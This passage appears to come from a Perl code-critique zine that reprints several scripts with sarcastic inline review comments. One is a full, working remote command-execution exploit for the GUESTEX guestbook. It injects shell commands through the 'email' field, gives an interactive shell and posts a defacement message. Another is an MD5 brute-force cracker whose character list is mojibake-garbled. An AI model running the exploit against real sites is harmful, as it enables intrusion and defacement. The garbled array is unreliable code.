756use strict;
757use Irssi ();
758
759our $VERSION = '0.03';
760our %IRSSI = (
761 authors => 'mauke',
762 name => 'unip',
763);
764
765use 5.008;
766use Encode qw/decode encode_utf8/;
767use Unicode::UCD 'charinfo';
768
769sub unip {
770 my @pieces = map split, @_;
771 my @output;
772 for (@pieces) {
773 $_ = "0x$_" if !s/^[Uu]\+/0x/ and /[A-Fa-f]/ and /^[[:xdigit:]]{2,}\z/;
774 $_ = oct if /^0/;
775 unless (/^\d+\z/) {
776 eval {
777 my $tmp = decode(length > 1 ? 'utf8' : 'iso-8859-1', "$_", 1);
778 length($tmp) == 1 or die "`$_' is not numeric, conversion to unicode failed";
779 $_ = ord $tmp;
780 };
781 if ($@) {
782 (my $err = $@) =~ s/ at .* line \d+.*\z//s;
783 push @output, $err;
784 next;
785 }
786 }
787 my $utf8r = encode_utf8(chr);
788 my $utf8 = join ' ', unpack 'C*', $utf8r;
789 my $x;
790 unless ($x = charinfo $_) {
791 push @output, sprintf "U+%X (%s): no match found", $_, $utf8;
792 next;
793 }
794 push @output, "U+$x->{code} ($utf8): $x->{name} [$utf8r]";
795 }
796
797 join '; ', @output
798}
799
800Irssi::command_bind(
801 unip => sub {
802 my ($data, $server, $witem) = @_;
803 $server->command("echo " . unip $data);
804 },
805);
806Irssi::command_bind(
807 sunip => sub {
808 my ($data, $server, $witem) = @_;
809 $witem->command("say " . unip $data);
810 },
811);
812
813-[0x07] # (K-)sPecial boy ------------------------------------------------
814
815# Now the question of the hour, will this get rm'd when someone posts it to .aware public ftp?
816
817# K-sPecial is a rapid and effective coder. He also completely lacks formal Perl learning
818# He's learned piece by piece, but has missed much and could benefit from some reeducation
819# He makes it work, and knows a lot of tricks
820# but this code is new, and all your virtues won't save you from a little rubbing this time
821
822# no shebang line?
823# I guess you fill your pound quota below
824
825## Creator: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)
826## Name: GUESTEX-exec.pl
827## Date: 06/07/2006
828## Version: 1.00
829## 1.00 (06/07/2006) - GUESTEX-exec.pl created
830##
831## Description: GUESTEX guestbook is vulnerable to remote code execution in how it
832## handles it's 'email' parameter. $form{'email'} is used when openning a pipe to
833## sendmail in this manner: open(MAIL, "$sendmail $form{'email'}) where $form{'email'}
834## is not properly sanitized.
835##
836## Usage: specify the host and location of the script as the first argument. hosts can
837## contain ports (host:port) and you CAN specify a single command to execute via the
838## commandline, although if you do not you will be given a shell like interface to
839## repeatedly enter commands.
840#######################################################################################
841
842# definitely POD worthy commenting
843# you might find POD liberating, lets you rant on even more
844
845use IO::Socket;
846use strict;
847
848my $host = $ARGV[0];
849my $location = $ARGV[1];
850my $command = $ARGV[2];
851my $sock;
852my $port = 80;
853my $comment = $ARGV[3] || "YOUR SITE OWNS!\n";
854# keep them in a nice order, or do it in a straight bunch
855
856if (!($host && $location)) {
857 die("-!> perl $0 <host[:port]> <location> [command] [comment]\n");
858}
859
860$port = $1 if ($host =~ m/:(\d+)/);
861# chuckle
862
863while (1) {
864 my $switch = 0;
865 if (!($ARGV[2])) {
866 print 'guestex-shell$ ';
867 chomp($command = <STDIN>);
868 }
869
870 my $cmd = ";echo --1337 start-- ;$command; echo --1337 end--";
871 $cmd =~ s/(.)/sprintf("%%%x", ord($1))/ge;
872
873 my $POST = "POST $location HTTP/1.1\r\n" .
874 "Host: $host\r\n" .
875 "User-Agent: mozilla\r\n" .
876 "Content-type: application/x-www-form-urlencoded\r\n" .
877 "Content-length: " . length("surname=ax0r&nationality=american&country of residence=USA&preview=no&action=add&name=ax0r&site=ax0r net&url=www.ax0r.net&location=atlanta,ga&rating=10&comment=$comment&email=ax0r\@yahoo.com$cmd") . "\r\n" .
878 "Referer: $host\r\n\r\n";
879
880 $POST .= "surname=ax0r&nationality=american&country of residence=USA&preview=no&action=add&name=ax0r&site=ax0r net&url=www.ax0r.net&location=atlanta,ga&rating=10&comment=$comment&email=ax0r\@yahoo.com$cmd";
881
882# couldn't you have done "my $sock = ... " here, instead of defining it way up there?
883 $sock = IO::Socket::INET->new('PeerAddr' => "$host",
884# what the hell. Why is that quoted? WHY? JUST FOR THE HELL OF IT? YOU KNOW BETTER
885 'PeerPort' => $port,
886 'Proto' => 'tcp',
887 'Type' => SOCK_STREAM) or die ("-!> unable to connect to '$host:$port': $!\n");
888
889 $sock->autoflush();
890
891 print $sock "$POST"; # AGAIN!
892
893 #$switch = 1; # used for debugging if you think 'echo' might not be working, etc
894
895 while (my $line = <$sock>) {
896 if ($line =~ m/^\-\-1337\ start\-\-$/) {
897# this is what eq is for
898# if ($line eq '--1337 start--') {
899 $switch = 1;
900 next;
901 }
902# be fun! one-line the whole block!
903# or can you figure out how? ;]
904 if ($line =~ m/^\-\-1337\ end\-\-$/) {
905 close($sock);
906 last;
907 }
908 print $line if $switch;
909 }
910 exit if $ARGV[2];
911# you assigned it, let it go, let it go free!!!
912}
913
914# Cheers captain. Sorry about xzziroz. it couldn't have happened to a nicer guy
915# take this article in stride, as you handled the ZF0/xzziroz issue.
916
917-[0x08] # School You: McDarren -------------------------------------------
918
919#!/usr/bin/perl -w
920#
921# pmgoogle.pl
922# Generates compressed KMZ (Google Earth) files
923# with placemarks for Perlmonks monks
924# See: earth.google.com
925#
926# Darren - July 2006
927
928use strict;
929use XML::Simple;
930use LWP::UserAgent;
931use Storable;
932use Time::HiRes qw( time );
933
934my $start = time();
935say("$0 started at ", scalar localtime($start));
936
937# Where everything lives
938my $monkfile = '/home/mcdarren/scripts/monks.store';
939my $kmlfile = '/home/mcdarren/temp.kml';
940my $www_dir = '/home/mcdarren/var/www/googlemonks';
941my $palette_url = 'http://mcdarren.perlmonk.org/googlemonks/img/monk-palette.png';
942
943my $monks; # hashref
944$|++;
945
946# Uncomment this for testing
947# Avoids re-fetching the data
948#if (! -f $monkfile) {
949 # Fetch and parse the XML from tinymicros
950 $monks = get_monk_data();
951 store $monks, $monkfile;
952#}
953
954$monks = retrieve($monkfile)
955 or die "Could not retrieve $monkfile:$!\n";
956
957# A pretty lousy attempt at abstraction :/
958my %types = (
959 by_level => {
960 desc => 'By Level',
961 outfile => 'perlmonks_by_level.kmz',
962 },
963 by_name => {
964 desc => 'By Monk',
965 outfile => 'perlmonks_by_monk.kmz',
966 }
967);
968
969my @levels = qw(
970 Initiate Novice Acolyte Sexton
971 Beadle Scribe Monk Pilgrim
972 Friar Hermit Chaplain Deacon
973 Curate Priest Vicar Parson
974 Prior Monsignor Abbot Canon
975 Chancellor Bishop Archbishop Cardinal
976 Sage Saint Apostle Pope
977 );
978
979# Create a reference to a LoL,
980# which represents xy offsets to each of the
981# icons on the palette image
982# The palette consists of 28 icons in a 7x4 grid
983my $xy_data = get_xy();
984
985my @t = time();
986print "Writing and compressing output files...";
987for (keys %types) {
988 open OUT, ">", $kmlfile
989 or die "Could not open $kmlfile:$!\n";
990 my $kml = build_kml($monks, $_);
991 print OUT $kml;
992 close OUT;
993
994 write_zip($kmlfile, "$www_dir/$types{$_}{outfile}");
995}
996
997$t[1] = time();
998say("done (", formatted_time_diff(@t), " secs)");
999
1000my $end = time();
1001say("Total run time ", formatted_time_diff($start, $end), " secs");
1002say("Total monks: ", scalar keys %{$monks->{monk}});
1003exit;
1004
1005####################################
1006# End of main - subs below
1007####################################
1008sub say {
1009 # Perl Hacks #86
1010 print @_, "\n";
1011}
1012
1013sub formatted_time_diff {
1014 return sprintf("%.2f", $_[1]-$_[0])
1015}
1016
1017sub by_level {
1018 return $monks->{monk}{$b}{level} <=> $monks->{monk}{$a}{level}
1019 || lc($a) cmp lc($b);
1020}
1021
1022sub by_name {
1023 return lc($a) cmp lc($b);
1024}
1025
1026sub write_zip {
1027 my ($infile, $outfile) = @_;
1028 use Archive::Zip qw( :ERROR_CODES :CONSTANTS );
1029
1030 my $zip = Archive::Zip->new();
1031 my $member = $zip->addFile($infile);
1032 return undef unless $zip->writeToFileNamed($outfile) == AZ_OK;
1033}
1034
1035sub build_kml {
1036 # This whole subroutine is pretty fugly
1037 # I really wanted to do it without an if/elsif,
1038 # but I couldn't figure out how
1039
1040 my $ref = shift;
1041 my $type = shift;
1042 my $kml = qq(<?xml version="1.0" encoding="UTF-8"?>
1043 <kml xmlns="http://earth.google.com/kml/2.1">
1044 <Folder>
1045 <name>Perl Monks - $types{$type}{desc}</name>
1046 <open>1</open>);
1047
1048 if ($type eq 'by_level') {
1049 my $level = 28;
1050 $kml .= qq(<Folder><name>Level $level - Pope</name><open>0</open>\n);
1051 for my $id (sort by_level keys %{$ref->{monk}}) {
1052 my $mlevel = $ref->{monk}{$id}{level};
1053 if ($mlevel < $level) {
1054 $level = $mlevel;
1055 my $level_name = $levels[$level-1];
1056 $kml .= qq(</Folder><Folder><name>Level $level - $level_name</name><open>0</open>\n);
1057 }
1058 $kml .= mk_placemark($id,$mlevel);
1059 }
1060 $kml .= q(</Folder>);
1061 }
1062 elsif ($type eq 'by_name') {
1063 my @monks = sort by_name keys %{$ref->{monk}};
1064 my $nummonks = scalar @monks;
1065 my $mpf = 39; # monks-per-folder
1066 my $start = 0;
1067
1068 while ($start < $nummonks) {
1069 my $first = lc(substr($monks[$start],0,2));
1070 my $last = defined $monks[$start+$mpf]
1071 ? lc(substr($monks[$start+$mpf],0,2))
1072 : lc(substr($monks[-1],0,2));
1073 $kml .= qq(<Folder><name>Monks $first-$last</name><open>0</open>\n);
1074 MONK:
1075 for my $cnt ($start .. $start+$mpf) {
1076 last MONK if !$monks[$cnt];
1077 my $monk = $monks[$cnt];
1078 my $mlevel = $ref->{monk}{$monk}{level};
1079 $kml .= mk_placemark($monk,$mlevel);
1080 }
1081 $start += ($mpf + 1);
1082 $kml .= q(</Folder>);
1083 }
1084 }
1085 $kml .= q(</Folder></kml>);
1086 return $kml;
1087}
1088
1089sub mk_placemark {
1090 my $id = shift;
1091 my $mlevel = shift;
1092 my $p;
1093 $p = qq(
1094 <Placemark>
1095 <description>
1096 <![CDATA[
1097 Level: $mlevel<br \\>
1098 Experience: $monks->{monk}{$id}{xp}<br \\>
1099 Writeups: $monks->{monk}{$id}{writeups}<br \\>
1100 User Since: $monks->{monk}{$id}{since}<br \\>
1101 http://www.perlmonks.org/?node_id=$monks->{monk}{$id}{id}
1102 ]]>
1103 </description>
1104 <Snippet></Snippet>
1105 <name>$id</name>
1106 <LookAt>
1107 <longitude>$monks->{monk}{$id}{location}{longitude}</longitude>
1108 <latitude>$monks->{monk}{$id}{location}{latitude}</latitude>
1109 <altitude>0</altitude>
1110 <range>10000</range>
1111 <tilt>0</tilt>
1112 <heading>0</heading>
1113 </LookAt>
1114 <Style>
1115 <IconStyle>
1116 <Icon>
1117 <href>$palette_url</href>
1118 <x>$xy_data->[$mlevel-1][0]</x>
1119 <y>$xy_data->[$mlevel-1][1]</y>
1120 <w>32</w>
1121 <h>32</h>
1122 </Icon>
1123 </IconStyle>
1124 </Style>
1125 <Point>
1126 <coordinates>$monks->{monk}{$id}{location}{longitude},$monks->{monk}{$id}{location}{latitude},0</coordinates>
1127 </Point>
1128 </Placemark>
1129 );
1130
1131 return $p;
1132}
1133
1134sub get_xy {
1135 # This returns an AoA, which represents xy-offsets
1136 # to each of the monk level icons on the image palette
1137 my @xy;
1138 for my $y (qw(96 64 32 0)) {
1139 for my $x (qw(0 32 64 96 128 160 192)) {
1140 push @xy, [ $x, $y ];
1141 }
1142 }
1143 return \@xy;
1144}
1145
1146sub get_monk_data {
1147 my $monk_url = 'http://tinymicros.com/pm/monks.xml';
1148 my @t = time();
1149 print "Fetching data....";
1150
1151 my $ua = LWP::UserAgent->new();
1152 my $req = HTTP::Request->new(GET=>"$monk_url");
1153 my $result = $ua->request($req);
1154 return 0 if !$result->is_success;
1155 my $content = $result->content;
1156 $t[1] = time();
1157 say("done (", formatted_time_diff(@t), " secs)");
1158
1159 print "Parsing XML....";
1160 my $monks = XMLin($content, Cache => 'storable');
1161 $t[2] = time();
1162 say("done (", formatted_time_diff(@t[1,2]), " secs)");
1163 return $monks;
1164}
1165
1166-[0x09] # Random Noob: Qex -----------------------------------------------
1167
1168# Qex, where's the foreplay?
1169# no shebang line, no modules, nothing.
1170# you're an unready and unprotected virgin.
1171
1172print "\n QBrute v1.0 \n";
1173print " By Qex \n";
1174print " qex[at]bsdmail[dot]org \n";
1175print " www.q3x.org \n\n";
1176print "1) Calculate MD5.\n";
1177print "2) Crack MD5.\n";
1178
1179# heredocs or just quote it all
1180
1181my $cmd;
1182print "Command: ";
1183$cmd = <STDIN>;
1184
1185# its ok, you are new. chomp(my $cmd = <STDIN>);
1186
1187if ($cmd > 2) {
1188 print "Unknown Command!\n";
1189 }
1190
1191# elsif?
1192if ($cmd == 1) {
1193 use Digest::MD5 qw( md5_hex );
1194 #it isn't that intensive, you could just use it anyways!
1195 my $md5x;
1196 print "\nView MD5 Hash Of: ";
1197 $md5x = <STDIN>;
1198 chomp($md5x);
1199 # same trick as above...
1200 print "Hash is: ", md5_hex("$md5x"), "\n\n";
1201 # always with the quoting....
1202 }
1203if ($cmd == 2) {
1204# no longer lexical? what about the range operator? what about qw?
1205# this feels so WRONG
1206@char = (ù','Ñ.',Ñ.','ú','õ','ý','ó','Ñ.','Ñ.',
1207'÷','Ñ.','Ñ.','Ñ.','Ñ.','ò','ð','ÿ','Ñ.','þ','û','ô',
1208'ö','ÑÂ','ÑÂ','Ñ.','ÑÂ','ü','ø','Ñ.','Ñ.','ñ','Ñ.','1',
1209'2','3','4','5','6','7','8','9','0','Ã.','æ','ã',
1210'Ã.','Ã.','ÃÂ','Ã.','è','é','Ã.','ÃÂ¥','ê','ä','ë',
1211'Ã.','ÃÂ','Ã.','à ','Ã.','Ã.','Ã.','Ã.','ÃÂ','ï','ç',
1212'á','Ã.','Ã.','â','ì','Ã.','î',
1213'1','2','3','4','5','6','7','8','9',
1214'0',' ','`','-','=','~','!','@','#','$','%',
1215'^','&','*','(',')','_','+','{','}','|',
1216':','"','<','>',);
1217$CharToUse = 62;
1218getmd5();
1219
1220# lets just keep dancing sub1 -> sub2 -> sub3
1221# what lovely organization!
1222
1223sub getmd5 {
1224print "\nEnter the MD5 list name (list.txt):\n";
1225chomp($list = <STDIN>); print "\n\n";
1226testarg();
1227# it would be nice if this was lexical, and your subroutines actually returned something
1228# as it is, why bother having these subs at all? Especially since they aren't reused?
1229}
1230
1231sub testarg {
1232open(F, $list) || die ("\nCan't open list!!\n");
1233@md5 = <F>;
1234$length11 = @md5;
1235# length11? was there a length10? Perl has arrays, you know
1236if (!<A>){
1237open(A, ">>MD5.txt") || die ("\nCan't open file to write to!!\n");
1238}
1239makelist()
1240}
1241sub makelist {
1242for ($br = 1; $br <= 12; $br++) {
1243for ($len1 = 0; $len1 <= $CharToUse; $len1++) {
1244$word[1] = $char[$len1];
1245if ($br <= 1) {
1246 AddToList(@word);
1247 }
1248else {
1249for ($len2 = 0; $len2 <= $CharToUse; $len2++) {
1250 $word[2] = $char[$len2];
1251 if ($br <= 2) {
1252 AddToList(@word);
1253 }
1254else {
1255for ($len3 = 0; $len3 <= $CharToUse; $len3++) {
1256$word[3] = $char[$len3];
1257if ($br <= 3) {
1258AddToList(@word);
1259}
1260else {
1261for ($len4 = 0; $len4 <= $CharToUse; $len4++) {
1262$word[4] = $char[$len4];
1263if ($br <= 4) {
1264AddToList(@word);
1265}
1266else {
1267for ($len5 = 0; $len5 <= $CharToUse; $len5++) {
1268$word[5] = $char[$len5];
1269if ($br <= 5) {
1270AddToList(@word);
1271}
1272else {
1273for ($len6 = 0; $len6 <= $CharToUse; $len6++) {
1274$word[6] = $char[$len6];
1275if ($br <= 6) {
1276AddToList(@word);
1277}
1278else {
1279for ($len7 = 0; $len7 <= $CharToUse; $len7++) {
1280$word[7] = $char[$len7];
1281if ($br <= 7) {
1282AddToList(@word);
1283}
1284else {
1285for ($len8 = 0; $len8 <= $CharToUse; $len8++) {
1286$word[8] = $char[$len8];
1287if ($br <= 8) {
1288AddToList(@word);
1289}
1290else {
1291for ($len9 = 0; $len9 <= $CharToUse; $len9++) {
1292$word[9] = $char[$len9];
1293if ($br <= 9) {
1294AddToList(@word);
1295}
1296else {
1297for ($len10 = 0; $len10 <= $CharToUse; $len10++) {
1298$word[10] = $char[$len10];
1299if ($br <= 10) {
1300AddToList(@word);
1301}
1302else {
1303for ($len11 = 0; $len11 <= $CharToUse; $len11++) {
1304$word[11] = $char[$len11];
1305if ($br <= 11) {
1306AddToList(@word);
1307}
1308else {
1309for ($len12 = 0; $len12 <= $CharToUse; $len12++) {
1310$word[12] = $char[$len12];
1311if ($br <= 12) {
1312AddToList(@word);
1313}
1314else {
1315for ($len13 = 0; $len13 <= $CharToUse; $len13++) {
1316$word[13] = $char[$len13];
1317if ($br <= 13) {
1318AddToList(@word);
1319}
1320else {
1321for ($len14 = 0; $len14 <= $CharToUse; $len14++) {
1322$word[14] = $char[$len14];
1323if ($br <= 14) {
1324AddToList(@word);
1325}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
1326
1327# that was disgusting. In every way. I don't think I need to say anymore about the above.
1328
1329sub AddToList {
1330my (@entry) = @_;
1331# holy fucking shit you know how to take parameters!
1332my ($test) = join "", @entry;
1333my ($m) = md5_hex "$test";
1334# you stupid quotemonkey
1335print ("$m = $test\n");
1336# you stupid parenmonkey
1337for ($a = 0; $a <= $length11; $a++)
1338# you stupid Cstylemonkey
1339{
1340 chomp($md5[$a]);
1341 if ($m eq $md5[$a]){
1342 print "\n\n\nFound !\t[ $test ]\n\n";
1343 print A "$m = $test\n";
1344 splice(@md5, $a, 1);
1345# wow, you know a real command.
1346 if (!$md5[0]) { exit(); }
1347 }
1348}
1349}
1350}
1351
1352# I need some better material
1353# don't worry, the good stuff comes along
1354
1355-[0x0A] # School You: xdg ------------------------------------------------
1356
1357package Test::MockRandom;
1358$VERSION = "0.99";
1359@EXPORT = qw( srand rand oneish export_rand_to export_srand_to );
1360@ISA = qw( Exporter );
1361
1362use strict;
1363
1364# Required modules
1365use Carp;
1366use Exporter;
1367
1368#--------------------------------------------------------------------------#
1369# main pod documentation #####
1370#--------------------------------------------------------------------------#
1371
1372=head1 NAME
1373
1374Test::MockRandom - Replaces random number generation with non-random number
1375generation
1376
1377=head1 SYNOPSIS
1378
1379 # intercept rand in another package
1380 use Test::MockRandom 'Some::Other::Package';
1381 use Some::Other::Package; # exports sub foo { return rand }
1382 srand(0.13);
1383 foo(); # returns 0.13
1384
1385 # using a seed list and "oneish"
1386 srand(0.23, 0.34, oneish() );
1387 foo(); # returns 0.23
1388 foo(); # returns 0.34
1389 foo(); # returns a number just barely less than one
1390 foo(); # returns 0, as the seed array is empty
1391
1392 # object-oriented, for use in the current package
1393 use Test::MockRandom ();
1394 my $nrng = Test::MockRandom->new(0.42, 0.23);
1395 $nrng->rand(); # returns 0.42
1396
1397=head1 DESCRIPTION
1398
1399This perhaps ridiculous-seeming module was created to test routines that
1400manipulate random numbers by providing a known output from C<rand>. Given a
1401list of seeds with C<srand>, it will return each in turn. After seeded random
1402numbers are exhausted, it will always return 0. Seed numbers must be of a form
1403that meets the expected output from C<rand> as called with no arguments -- i.e.
1404they must be between 0 (inclusive) and 1 (exclusive). In order to facilitate
1405generating and testing a nearly-one number, this module exports the function
1406C<oneish>, which returns a number just fractionally less than one.
1407
1408Depending on how this module is called with C<use>, it will export C<rand> to a
1409specified package (e.g. a class being tested) effectively overriding and
1410intercepting calls in that package to the built-in C<rand>. It can also
1411override C<rand> in the current package or even globally. In all
1412of these cases, it also exports C<srand> and C<oneish> to the current package
1413in order to control the output of C<rand>. See L</USAGE> for details.
1414
1415Alternatively, this module can be used to generate objects, with each object
1416maintaining its own distinct seed array.
1417
1418=head1 USAGE
1419
1420By default, Test::MockRandom does not export any functions. This still allows
1421object-oriented use by calling C<Test::MockRandom-E<gt>new(@seeds)>. In order
1422for Test::MockRandom to be more useful, arguments must be provided during the
1423call to C<use>.
1424
1425=head2 C<use Test::MockRandom 'Target::Package'>
1426
1427The simplest way to intercept C<rand> in another package is to provide the
1428name(s) of the package(s) for interception as arguments in the C<use>
1429statement. This will export C<rand> to the listed packages and will export
1430C<srand> and C<oneish> to the current package to control the behavior of
1431C<rand>. You B<must> C<use> Test::MockRandom before you C<use> the target
1432package. This is a typical case for testing a module that uses random numbers:
1433
1434 use Test::More 'no_plan';
1435 use Test::MockRandom 'Some::Package';
1436 BEGIN { use_ok( Some::Package ) }
1437
1438 # assume sub foo { return rand } was imported from Some::Package
1439
1440 srand(0.5)
1441 is( foo(), 0.5, "is foo() 0.5?") # test gives "ok"
1442
1443If multiple package names are specified, C<rand> will be exported to all
1444of them.
1445
1446If you wish to export C<rand> to the current package, simply provide
1447C<__PACKAGE__> as the parameter for C<use>, or C<main> if importing
1448to a script without a specified package. This can be part of a
1449list provided to C<use>. All of the following idioms work:
1450
1451 use Test::MockRandom qw( main Some::Package ); # Assumes a script
1452 use Test::MockRandom __PACKAGE__, 'Some::Package';
1453
1454 # The following doesn't interpolate __PACKAGE__ as above, but
1455 # Test::MockRandom will still DWIM and handle it correctly
1456
1457 use Test::MockRandom qw( __PACKAGE__ Some::Package );
1458
1459=head2 C<use Test::MockRandom { %customized }>
1460
1461As an alternative to a package name as an argument to C<use>,
1462Test::MockRandom will also accept a hash reference with a custom
1463set of instructions for how to export functions:
1464
1465 use Test::MockRandom {
1466 rand => [ Some::Package, {Another::Package => 'random'} ],
1467 srand => { Another::Package => 'seed' },
1468 oneish => __PACKAGE__
1469 };
1470
1471The keys of the hash may be any of C<rand>, C<srand>, and C<oneish>. The
1472values of the hash give instructions for where to export the symbol
1473corresponding to the key. These are interpreted as follows, depending on their
1474type:
1475
1476=over
1477
1478=item *
1479
1480String: a package to which Test::MockRandom will export the symbol
1481
1482=item *
1483
1484Hash Reference: the key is the package to which Test::MockRandom will export
1485the symbol and the value is the name under which it will be exported
1486
1487=item *
1488
1489Array Reference: a list of strings or hash references which will be handled
1490as above
1491
1492=back
1493
1494=head2 C<Test::MockRandom-E<gt>export_rand_to( 'Target::Package' =E<gt> 'rand_alias' )>
1495
1496In order to intercept the built-in C<rand> in another package,
1497Test::MockRandom must export its own C<rand> function to the
1498target package B<before> the target package is compiled, thus overriding
1499calls to the built-in. The simple approach (described above) of providing the
1500target package name in the C<use Test::MockRandom> statement accomplishes this
1501because C<use> is equivalent to a C<require> and C<import> within a C<BEGIN>
1502block. To explicitly intercept C<rand> in another package, you can also call
1503C<export_rand_to>, but it must be enclosed in a C<BEGIN> block of its own. The
1504explicit form also support function aliasing just as with the custom approach
1505with C<use>, described above:
1506
1507 use Test::MockRandom;
1508 BEGIN {Test::MockRandom->export_rand_to('AnotherPackage'=>'random')}
1509 use AnotherPackage;
1510
1511This C<BEGIN> block must not include a C<use> statement for the package to be
1512intercepted, or perl will compile the package to be intercepted before the
1513C<export_rand_to> function has a chance to execute and intercept calls to
1514the built-in C<rand>. This is very important in testing. The C<export_rand_to>
1515call must be in a separate C<BEGIN> block from a C<use> or C<use_ok> test,
1516which should be enclosed in a C<BEGIN> block of its own:
1517
1518 use Test::More tests => 1;
1519 use Test::MockRandom;
1520 BEGIN { Test::MockRandom->export_rand_to( 'AnotherPackage' ); }
1521 BEGIN { use_ok( 'AnotherPackage' ); }
1522
1523Given these cautions, it's probably best to use either the simple or custom
1524approach with C<use>, which does the right thing in most circumstances. Should
1525additional explicit customization be necessary, Test::MockRandom also provides
1526C<export_srand_to> and C<export_oneish_to>.
1527
1528=head2 Overriding C<rand> globally: C<use Test::MockRandom 'CORE::GLOBAL'>
1529
1530This is just like intercepting C<rand> in a package, except that you
1531do it globally by overriding the built-in function in C<CORE::GLOBAL>.
1532
1533 use Test::MockRandom 'CORE::GLOBAL';
1534
1535 # or
1536
1537 BEGIN { Test::MockRandom->export_rand_to('CORE::GLOBAL') }
1538
1539You can always access the real, built-in C<rand> by calling it explicitly as
1540C<CORE::rand>.
1541
1542=head2 Intercepting C<rand> in a package that also contains a C<rand> function
1543
1544This is tricky as the order in which the symbol table is manipulated will lead
1545to very different results. This can be done safely (maybe) if the module uses
1546the same rand syntax/prototype as the system call but offers them up as method
1547calls which resolve at run-time instead of compile time. In this case, you
1548will need to do an explicit intercept (as above) but do it B<after> importing
1549the package. I.e.:
1550
1551 use Test::MockRandom 'SomeRandPackage';
1552 use SomeRandPackage;
1553 BEGIN { Test::MockRandom->export_rand_to('SomeRandPackage');
1554
1555The first line is necessary to get C<srand> and C<oneish> exported to
1556the current package. The second line will define a C<sub rand> in
1557C<SomeRandPackage>, overriding the results of the first line. The third
1558line then re-overrides the C<rand>. You may see warnings about C<rand>
1559being redefined.
1560
1561Depending on how your C<rand> is written and used, there is a good likelihood
1562that this isn't going to do what you're expecting, no matter what. If your
1563package that defines C<rand> relies internally upon the system
1564C<CORE::GLOBAL::rand> function, then you may be best off overriding that
1565instead.
1566
1567=head1 FUNCTIONS
1568
1569=cut
1570
1571#--------------------------------------------------------------------------#
1572# Class data
1573#--------------------------------------------------------------------------#
1574
1575my @data = (0);
1576
1577#--------------------------------------------------------------------------#
1578# new()
1579#--------------------------------------------------------------------------#
1580
1581=head2 C<new>
1582
1583 $obj = new( LIST OF SEEDS );
1584
1585Returns a new Test::MockRandom object with the specified list of seeds.
1586
1587=cut
1588
1589sub new {
1590 my ($class, @data) = @_;
1591 my $self = bless ([], ref ($class) || $class);
1592 $self->srand(@data);
1593 return $self;
1594}
1595
1596#--------------------------------------------------------------------------#
1597# srand()
1598#--------------------------------------------------------------------------#
1599
1600=head2 C<srand>
1601
1602 srand( LIST OF SEEDS );
1603 $obj->srand( LIST OF SEEDS);
1604
1605If called as a bare function call or package method, sets the seed list
1606for bare/package calls to C<rand>. If called as an object method,
1607sets the seed list for that object only.
1608
1609=cut
1610
1611sub srand {
1612 if (ref ($_[0]) eq __PACKAGE__) {
1613 my $self = shift;
1614 @$self = $self->_test_srand(@_);
1615 return;
1616 } else {
1617 @data = Test::MockRandom->_test_srand(@_);
1618 return;
1619 }
1620}
1621
1622sub _test_srand {
1623 my ($self, @data) = @_;
1624 my $error = "Seeds for " . __PACKAGE__ .
1625 " must be between 0 (inclusive) and 1 (exclusive)";
1626 croak $error if grep { $_ < 0 or $_ >= 1 } @data;
1627 return @data ? @data : ( 0 );
1628}
1629
1630#--------------------------------------------------------------------------#
1631# rand()
1632#--------------------------------------------------------------------------#
1633
1634=head2 C<rand>
1635
1636 $rv = rand();
1637 $rv = $obj->rand();
1638 $rv = rand(3);
1639
1640If called as a bare or package function, returns the next value from the
1641package seed list. If called as an object method, returns the next value from
1642the object seed list.
1643
1644If C<rand> is called with a numeric argument, it follows the same behavior as
1645the built-in function -- it multiplies the argument with the next value from
1646the seed array (resulting in a random fractional value between 0 and the
1647argument, just like the built-in). If the argument is 0, undef, or
1648non-numeric, it is treated as if the argument is 1.
1649
1650Using this with an argument in testing may be complicated, as limits in
1651floating point precision mean that direct numeric comparisons are not reliable.
1652E.g.
1653
1654 srand(1/3);
1655 rand(3); # does this return 1.0 or .999999999 etc.
1656
1657=cut
1658
1659sub rand {
1660 my ($mult,$val);
1661 if (ref ($_[0]) eq __PACKAGE__) { # we're a MockRandom object
1662 $mult = $_[1];
1663 $val = shift @{$_[0]} || 0;
1664 } else {
1665 # we might be called as a method of some other class
1666 # so we need to ignore that and get the right multiplier
1667 $mult = $_[ ref($_[0]) ? 1 : 0];
1668 $val = shift @data || 0;
1669 }
1670 # default to 1 for undef, 0, or strings that aren't numbers
1671 eval { local $^W = 0; my $bogus = 1/$mult };
1672 $mult = 1 if $@;
1673 return $val * $mult;
1674}
1675
1676#--------------------------------------------------------------------------#
1677# oneish()
1678#--------------------------------------------------------------------------#
1679
1680=head2 C<oneish>
1681
1682 srand( oneish() );
1683 if ( rand() == oneish() ) { print "It's almost one." };
1684
1685A utility function to return a nearly-one value. Equal to ( 2^32 - 1 ) / 2^32.
1686Useful in C<srand> and test functions.
1687
1688=cut
1689
1690sub oneish {
1691 return (2**32-1)/(2**32);
1692}
1693
1694#--------------------------------------------------------------------------#
1695# export_rand_to()
1696#--------------------------------------------------------------------------#
1697
1698=head2 C<export_rand_to>
1699
1700 Test::MockRandom->export_rand_to( 'Some::Class' );
1701 Test::MockRandom->export_rand_to( 'Some::Class' => 'random' );
1702
1703This function exports C<rand> into the specified package namespace. It must be
1704called as a class function. If a second argument is provided, it is taken as
1705the symbol name used in the other package as the alias to C<rand>:
1706
1707 use Test::MockRandom;
1708 BEGIN { Test::MockRandom->export_rand_to( 'Some::Class' => 'random' ); }
1709 use Some::Class;
1710 srand (0.5);
1711 print Some::Class::random(); # prints 0.5
1712
1713It can also be used to explicitly intercept C<rand> after Test::MockRandom has
1714been loaded. The effect of this function is highly dependent on when it is
1715called in the compile cycle and should usually called from within a BEGIN
1716block. See L</USAGE> for details.
1717
1718Most users will not need this function.
1719
1720=cut
1721
1722sub export_rand_to {
1723 _export_fcn_to(shift, "rand", @_);
1724}
1725
1726#--------------------------------------------------------------------------#
1727# export_srand_to()
1728#--------------------------------------------------------------------------#
1729
1730=head2 C<export_srand_to>
1731
1732 Test::MockRandom->export_srand_to( 'Some::Class' );
1733 Test::MockRandom->export_srand_to( 'Some::Class' => 'seed' );
1734
1735This function exports C<srand> into the specified package namespace. It must be
1736called as a class function. If a second argument is provided, it is taken as
1737the symbol name to use in the other package as the alias for C<srand>.
1738This function may be useful if another package wraps C<srand>:
1739
1740 # In Some/Class.pm
1741 package Some::Class;
1742 sub seed { srand(shift) }
1743 sub foo { rand }
1744
1745 # In a script
1746 use Test::MockRandom 'Some::Class';
1747 BEGIN { Test::MockRandom->export_srand_to( 'Some::Class' ); }
1748 use Some::Class;
1749 seed(0.5);
1750 print foo(); # prints "0.5"
1751
